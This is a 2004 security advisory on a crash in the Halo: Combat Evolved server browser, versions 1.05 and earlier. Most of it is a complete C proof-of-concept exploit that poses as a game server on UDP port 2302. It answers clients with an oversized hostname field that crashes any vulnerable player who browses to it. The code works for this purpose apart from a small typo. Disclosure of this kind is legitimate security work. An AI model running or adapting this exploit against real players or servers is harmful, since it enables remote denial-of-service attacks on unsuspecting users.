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[NEWS] Halo Broadcast Client Crash

Subject: [NEWS] Halo Broadcast Client Crash
Date: 23 Nov 2004 18:15:44 +0200
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be found at the SecuriTeam web site: http://www.securiteam.com
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  Halo Broadcast Client Crash
------------------------------------------------------------------------


SUMMARY

"Armed with a brand new arsenal of weapons and vehicles,  
<http://www.microsoft.com/games/pc/halo.aspx> Halo delivers challenges and 
surprises, as well as intense online multiplayer competition exclusively 
for the PC, including new multiplayer maps."

Certain long server replies aren't properly bounds checked and may cause 
the Halo client to crash upon parsing them.

DETAILS

Vulnerable Systems:
 * Halo: Combat Evolved for the PC and Mac, versions 1.05 and prior

Immune Systems:
 * Halo: Combat Evolved version 1.06

The problem affects the in-game browser of the clients used to navigate 
through the list of online servers and is caused by some overrun 
protections. If these instructions find a value too long in a server's 
reply they pass a NULL pointer (instead of the original value) to a 
wcsncpy() function causing the crash.

Note: This is a broadcast client crash, so a single attacker visible in 
the master server list can passively exploit any vulnerable client in the 
world.

A proof of concept can be downloaded from  
<http://aluigi.altervista.org/poc/halocboom.zip> 
http://aluigi.altervista.org/poc/halocboom.zip and the main file is pasted 
here for conveniece.

Proof Of Concept
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER     "0.1"
#define BUFFSZ  2048
#define PING    "\x05\x00\x00\x00\x00\x00"
#define PORT    2302
#define GAMEVER "GAMEVER__HERE"
#define BOOM    
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

char *versions[][2] = {
    { "1.05",  "01.00.05.0610" },
    { "1.04",  "01.00.04.0607" },
    { "1.031", "01.00.03.0606" },
    { "1.03",  "01.00.03.0605" },
    { "1.02",  "01.00.02.0581" },
    { "1.01",  "01.00.01.0580" },
    { "1.00",  "01.00.00.0564" },
    { "ce",    "01.00.00.0609" },
    { NULL,    NULL }
};

void std_err(void);

int main(int argc, char *argv[]) {
    int     sd,
            len,
            on = 1,
            i,
            iver,
            psz;
    struct  sockaddr_in peer;
    u_char  buff[BUFFSZ + 1],
            *pck,
            pcklan[] =
                "\x00\x00\x00\x00\x00"
                "hostname\0"        BOOM "\0"   /* not only here */
                "gamever\0"         GAMEVER "\0"
                "hostport\0"        "\0"
                "maxplayers\0"      "16\0"
                "password\0"        "0\0"
                "mapname\0"         "longest\0"
                "dedicated\0"       "1\0"
                "gamemode\0"        "openplaying\0"
                "game_classic\0"    "0\0"
                "numplayers\0"      "0\0"
                "gametype\0"        "CTF\0"
                "teamplay\0"        "1\0"
                "gamevariant\0"     "\0"
                "fraglimit\0"       "3\0"
                "player_flags\0"    "1943015556,2\0"
                "game_flags\0"      "65\0"
                "\0"                "\0",
            pckinternet[] =
                "\x00\x00\x00\x00\x00"
                BOOM "\0"
                GAMEVER "\0"
                "0\0"
                "CTF\0"
                "openplaying\0"
                "0\0"
                "16\0";

    setbuf(stdout, NULL);

    fputs("\n"
        "Halo <= 1.05 broadcast client crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <version>\n"
            "\n"
            " You must decide what version of the clients you want to 
crash:\n"
            "\n", argv[0]);
        for(i = 0; *versions[i]; i++) {
            printf(" %s\t%s\n", versions[i][0], versions[i][1]);
        }
        fputc('\n', stdout);
        exit(1);
    }

    for(iver = 0; versions[iver][0]; iver++) {
        if(!strcmp(argv[1], versions[iver][0])) break;
    }
    if(!versions[iver][0]) {
        printf("\nError: you must choose between the versions listed at 
the beginning\n");
        exit(1);
    }
    printf("- version:   %s \t%s\n", versions[iver][0], 
versions[iver][1]);

    for(i = 0; i < (sizeof(pcklan) - 14); i++) {
        if(!memcmp(pcklan + i, GAMEVER, 13)) {
            memcpy(pcklan + i, versions[iver][1], 13);
            break;
        }
    }

    for(i = 0; i < (sizeof(pckinternet) - 14); i++) {
        if(!memcmp(pckinternet + i, GAMEVER, 13)) {
            memcpy(pckinternet + i, versions[iver][1], 13);
            break;
        }
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    peer.sin_addr.s_addr = INADDR_ANY;
    peer.sin_port        = htons(PORT);
    peer.sin_family      = AF_INET;
    psz                  = sizeof(peer);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    printf("- bind UDP port %d\n", PORT);
    if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
      < 0) std_err();
    if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    fputs("\nClients:\n", stdout);
    while(1) {
        len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, 
&psz);
        if(len < 0) std_err();

        if(buff[2]) {
            printf("PING       %s:%hu\n",
                inet_ntoa(peer.sin_addr), htons(peer.sin_port));

            if(sendto(sd, PING, sizeof(PING) - 1, 0, (struct sockaddr 
*)&peer, sizeof(peer))
              < 0) std_err();
            continue;
        }

        if(len == 10) {
            fputs("LAN        ", stdout);
            pck = pcklan;
            len = sizeof(pcklan) - 1;
        } else {
            fputs("INTERNET   ", stdout);
            pck = pckinternet;
            len = sizeof(pckinternet) - 1;
        }

        printf("%s:%hu\n",
            inet_ntoa(peer.sin_addr), htons(peer.sin_port));

        memcpy(pck, buff + 2, 5);
        if(sendto(sd, pck, len, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
    }

    close(sd);
    return(0);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/halocboom-adv.txt> 
http://aluigi.altervista.org/adv/halocboom-adv.txt



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